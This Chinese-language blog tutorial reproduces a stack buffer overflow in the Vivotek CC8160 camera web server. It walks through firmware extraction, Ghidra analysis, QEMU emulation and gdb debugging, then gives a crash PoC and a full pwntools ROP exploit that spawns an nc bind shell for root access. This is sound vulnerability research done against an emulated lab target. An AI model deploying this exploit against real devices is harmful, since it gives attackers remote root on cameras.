vivotek 摄像头栈溢出漏洞复现

1
2
3
wget https://github.com/mcw0/PoC/files/3128058/CC8160-VVTK-0100d.flash.zip
unzip CC8160-VVTK-0100d.flash.zip
binwalk -Me CC8160-VVTK-0100d.flash.pkg
  • -M: 递归扫描提取的文件。
  • -e: 自动提取已知文件类型。
1
sudo find . -name squashfs-root

https://f005.backblazeb2.com/file/img-buckets-oqh/2024/04/image-20240409170447253.png

1
cd ./_CC8160-VVTK-0100d.flash.pkg.extracted/_31.extracted/_rootfs.img.extracted/squashfs-root

使用 ghidra 对固件根文件系统目录下 usr/sbin/httpd 进行静态分析:

https://f005.backblazeb2.com/file/img-buckets-oqh/2024/04/image-20240410155429662.png

https://f005.backblazeb2.com/file/img-buckets-oqh/2024/04/image-20240410155535681.png

strncpy() 没有对 Content-Length 字段的长度做任何限制,而 local_38 距离栈底只有 0x38 字节的空间,所以此处有栈溢出漏洞。

查看文件信息:

1
file usr/sbin/httpd

https://f005.backblazeb2.com/file/img-buckets-oqh/2024/04/image-20240409181849961.png

这是一个 32 位的 ARM 架构可执行程序,无法在 x64 架构上直接运行,因此需要使用 QEMU 模拟 32 位 ARM 环境。

1
2
3
4
5
6
sudo cp $(which qemu-arm-static) .
sudo su
mount -o bind /dev ./dev
mount -t proc /proc ./proc
exit
sudo chroot . ./qemu-arm-static ./usr/sbin/httpd

https://f005.backblazeb2.com/file/img-buckets-oqh/2024/04/image-20240409171117404.png

报错,提示无法打开 boa.conf。查找 boa.conf

1
sudo find ../../../ -name boa.conf

https://f005.backblazeb2.com/file/img-buckets-oqh/2024/04/image-20240409172642511.png

boa.conf 所在的整个 etc 目录复制到根文件系统目录的 mnt/flash 下:

1
cp -r ../../../_31.extracted/defconf/_CC8160.tar.bz2.extracted/_0.extracted/etc mnt/flash

再次启动 httpd 服务:

https://f005.backblazeb2.com/file/img-buckets-oqh/2024/04/image-20240409182534130.png

报错,提示 gethostbyname:: Success。

httpd 静态分析:

https://f005.backblazeb2.com/file/img-buckets-oqh/2024/04/image-20240409183042307.png

gethostname() 获取主机名,并将其存到 local_74 中。gethostbyname() 读取 local_74 存放的主机名并寻找 IP。由于固件主机名和宿主机的主机名不一致,导致 gethostbyname() 无法找到主机名对应的 IP,httpd 服务启动失败。

查看固件主机名:

1
cat etc/hosts

https://f005.backblazeb2.com/file/img-buckets-oqh/2024/04/image-20240409183641046.png

修改宿主机的主机名:

1
2
3
sudo su
echo "127.0.0.1 Network-Camera localhost" > /proc/sys/kernel/hostname
exit

继续启动 httpd 服务:

https://f005.backblazeb2.com/file/img-buckets-oqh/2024/04/image-20240409183955566.png

https://f005.backblazeb2.com/file/img-buckets-oqh/2024/04/image-20240409184112672.png

虽然还是有一些报错信息,但是 httpd 服务已成功运行。

解决了 httpd 启动的阻碍后,就可以尝试使用系统模式模拟了。宿主机的 httpd 服务暂时不再被需要,可以结束其进程:

1
ps aux | grep httpd

https://f005.backblazeb2.com/file/img-buckets-oqh/2024/04/image-20240409184742013.png

1
sudo kill 419601

下载 QEMU 所需的系统内核镜像等文件:

1
2
3
4
5
6
cd
mkdir arm-debian
cd arm-debian
wget https://people.debian.org/~aurel32/qemu/armel/debian_wheezy_armel_standard.qcow2
wget https://people.debian.org/~aurel32/qemu/armel/initrd.img-3.2.0-4-versatile
wget https://people.debian.org/~aurel32/qemu/armel/vmlinuz-3.2.0-4-versatile

宿主机网络配置:

1
2
sudo ip tuntap add tap0 mode tap user `whoami`
sudo ifconfig tap0 192.168.2.1/24

启动 QEMU 虚拟机,用户名和密码可以参考 https://people.debian.org/~aurel32/qemu/armel/README.txt

1
qemu-system-arm -M versatilepb -kernel vmlinuz-3.2.0-4-versatile -initrd initrd.img-3.2.0-4-versatile -hda debian_wheezy_armel_standard.qcow2 -append "root=/dev/sda1"  -net nic -net tap,ifname=tap0,script=no,downscript=no -nographic

QEMU 虚拟机网络配置:

1
root@debian-armel:~# ifconfig eth0 192.168.2.2/24

新建终端,打包 squashfs-root 目录,传输到 QEMU 虚拟机。在打包之前先取消挂载 dev 和 proc,否则会打包失败。

1
2
3
4
5
6
7
8
cd ./vivotek/_CC8160-VVTK-0100d.flash.pkg.extracted/_31.extracted/_rootfs.img.extracted/squashfs-root
sudo su
umount dev
umount proc
exit
cd ..
tar cvf squashfs-root.tar squashfs-root
scp squashfs-root.tar root@192.168.2.2:~

如果传输失败的话,可以重新检查一下宿主机的 tap0 设备是否成功配置 IP,没有 IP 则需要回到之前的步骤重新配置。

在 QEMU 虚拟机解开固件根文件系统目录:

1
root@debian-armel:~# tar xvf squashfs-root.tar

挂载 dev 和 proc:

1
2
root@debian-armel:~# mount -o bind /dev ./squashfs-root/dev
root@debian-armel:~# mount -t proc /proc ./squashfs-root/proc

改变根目录为固件的根文件系统目录,并执行 shell:

1
root@debian-armel:~# chroot squashfs-root sh

修改主机名:

1
/ # echo "127.0.0.1 Network-Camera localhost" > /proc/sys/kernel/hostname

启动 httpd 服务:

1
/ # httpd

在宿主机下载 gdbserver-7.7.1-armel-eabi5-vi-sysv,并传输到 QEMU 虚拟机:

1
2
wget https://github.com/lucyoa/embedded-tools/raw/master/gdbserver/gdbserver-7.7.1-armel-eabi5-v1-sysv
scp gdbserver-7.7.1-armel-eabi5-v1-sysv root@192.168.2.2:~/squashfs-root/

为 gdbserver-7.7.1-armel-eabi5-vi-sysv 添加可执行权限:

1
/ # chmod u+x gdbserver-7.7.1-armel-eabi5-v1-sysv

编写用于调试的脚本 start_debug.sh,开放 1234 端口用于调试:

1
2
3
4
5
6
7
#!/bin/sh
pid=`ps | grep -v grep | grep httpd | awk '{print $1}'`
if [ ! $pid ]
then 
/usr/sbin/httpd
fi
./gdbserver-7.7.1-armel-eabi5-v1-sysv --attach 127.0.0.1:1234 `ps | grep -v grep | grep httpd | awk '{print $1}'`

在 QEMU 虚拟机里不方便编辑文件的话,可以在宿主机编辑完再用 scp 传过去。

1
scp start_debug.sh root@192.168.2.2:~/squashfs-root/

为脚本加上可执行权限:

1
/ # chmod u+x start_debug.sh

关闭 ASLR,降低后续利用漏洞的难度(考虑性能和功耗问题,物联网设备一般不开启 ASLR):

1
/ # echo 0 > /proc/sys/kernel/randomize_va_space

结束之前的 httpd 进程:

1
/ # ps | grep http

https://f005.backblazeb2.com/file/img-buckets-oqh/2024/04/image-20240409231852053.png

1
/ # kill 2409

运行脚本:

1
/ # ./start_debug.sh

https://f005.backblazeb2.com/file/img-buckets-oqh/2024/04/image-20240410112218289.png

新建终端,使用 gdb-multiarch 搭配 gef 插件进行远程调试:

1
2
3
cd ./vivotek/_CC8160-VVTK-0100d.flash.pkg.extracted/_31.extracted/_rootfs.img.extracted/squashfs-root
gdb-multiarch usr/sbin/httpd
gef➤  gef-remote 192.168.2.2 1234

https://f005.backblazeb2.com/file/img-buckets-oqh/2024/04/image-20240410112706234.png

1
(remote) gef➤  c

strncpy()FUN_00017f80() 所调用,查看 FUN_00017f80() 的汇编代码:

https://f005.backblazeb2.com/file/img-buckets-oqh/2024/04/image-20240410160608245.png

https://f005.backblazeb2.com/file/img-buckets-oqh/2024/04/image-20240410160646553.png

stmdb sp!, {r4, r5, r6, r7, r8, r9, r10, r11, lr} 在函数开始执行时依次将 lr,r11 ~ r4 的值入栈;ldmia sp!, {r4, r5, r6, r7, r8, r9, r10, r11, pc} 在函数返回时多次弹栈,栈顶的值依次传递给 r4 ~ r11,pc。要覆盖返回地址,只需覆盖 &local_38 + 0x38 -0x4 = &local_38 + 0x34 处的值。

使用如下 POC 验证返回地址是否成功被覆盖:

1
echo -en "POST /cgi-bin/admin/upgrade.cgi HTTP/1.0\nContent-Length:AAAAAAAAAAAAAAAAAAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIXXXX\n\r\n\r\n"  | nc -v 192.168.2.2 80

https://f005.backblazeb2.com/file/img-buckets-oqh/2024/04/image-20240410113148867.png

https://f005.backblazeb2.com/file/img-buckets-oqh/2024/04/image-20240410113334800.png

可以看到,pc 的值变成了 XXXX。另外,记住此时 sp 的值,后续写 exp 会用到。

查看 httpd 保护措施:

1
checksec usr/sbin/httpd

https://f005.backblazeb2.com/file/img-buckets-oqh/2024/04/image-20240410163139407.png

NX 保护已开启,考虑构造 ROP 链。

运行 httpd 之后,确定 libc 的基址(之前已关闭 ASLR):

1
/ # cat /proc/2481/maps

https://f005.backblazeb2.com/file/img-buckets-oqh/2024/04/image-20240410163545049.png

为了在远程执行 system("nc -lp2222 -e/bin/sh"),寻找可用的 gadget:

1
ROPgadget --binary ./lib/libuClibc-0.9.33.3-git.so --only "mov|pop" | grep "pc"

32 位 ARM 架构函数的第一个参数通常放在 r0,选用如下 gadget:

1
2
0x00048784 : pop {r1, pc}
0x00016aa4 : mov r0, r1 ; pop {r4, r5, pc}

根据下图构造 ROP 链:

https://f005.backblazeb2.com/file/img-buckets-oqh/2024/04/image-20240410165810416.png

exp 如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
#encoding=utf-8
#!/usr/bin/python
from pwn import *

sh = remote("192.168.2.2",80)
libc = ELF('./lib/libuClibc-0.9.33.3-git.so')

libc_base =  0xb6f2d000   # libC 库在内存中的加载地址
stack_base = 0xbeffeb80 # 崩溃时 SP 寄存器的地址

payload = (0x38 - 4) * 'a' # padding
payload += p32(0x00048784 + libc_base) # gadget1
payload += p32(0x14 + stack_base) # 栈中命令参数地址
payload += p32(0x00016aa4 + libc_base) # gadget2
payload += (0x8 * 'a')  # padding
payload += p32(libc.symbols['system'] + libc_base) # 内存中 system() 函数地址
payload += ('nc\x20-lp2222\x20-e/bin/sh;>') # 命令参数
payload = 'POST /cgi-bin/admin/upgrade.cgi \nHTTP/1.0\nContent-Length:{}\n\r\n\r\n'.format(payload)
sh.sendline(payload)

连接到 QEMU 虚拟机的 2222 端口:

1
nc 192.168.2.2 2222

https://f005.backblazeb2.com/file/img-buckets-oqh/2024/04/image-20240410170241477.png

获得 root shell。

  1. https://mp.weixin.qq.com/s?__biz=MzkwMjI1NzY4Ng==&mid=2247514544&idx=1&sn=7ea9dc7291748ab857d41e027fdec98c&chksm=c0aab4c9f7dd3ddf4c927911f8c54c8a28a4bb593e14f713a209ba95af8c5ee343b0b739cfab&mpshare=1&scene=23&srcid=0322Y0cd7ZlvMyBv4DlTjMA0&sharer_shareinfo=45342094bfb1daa0cde3416e9ecf06f9&sharer_shareinfo_first=ffef796c6a02c4a96b4bc093bb470fa7#rd
  2. https://jackfromeast.site/2021-01/vivotek-vul.html
  3. https://p1kk.github.io/2021/04/14/iot/vivotek%20%E6%91%84%E5%83%8F%E5%A4%B4%E6%A0%88%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/
  4. https://oneda1sy.gitee.io/2021/10/20/Arm-Vivotek-CC8160/
  5. https://www.anquanke.com/post/id/185336
  6. https://xz.aliyun.com/t/5054?time__1311=n4%2BxnD07iti%3Dj2DBqooGkYDOYMvK7Ki%3Dx&alichlgref=https%3A%2F%2Fwww.google.com%2F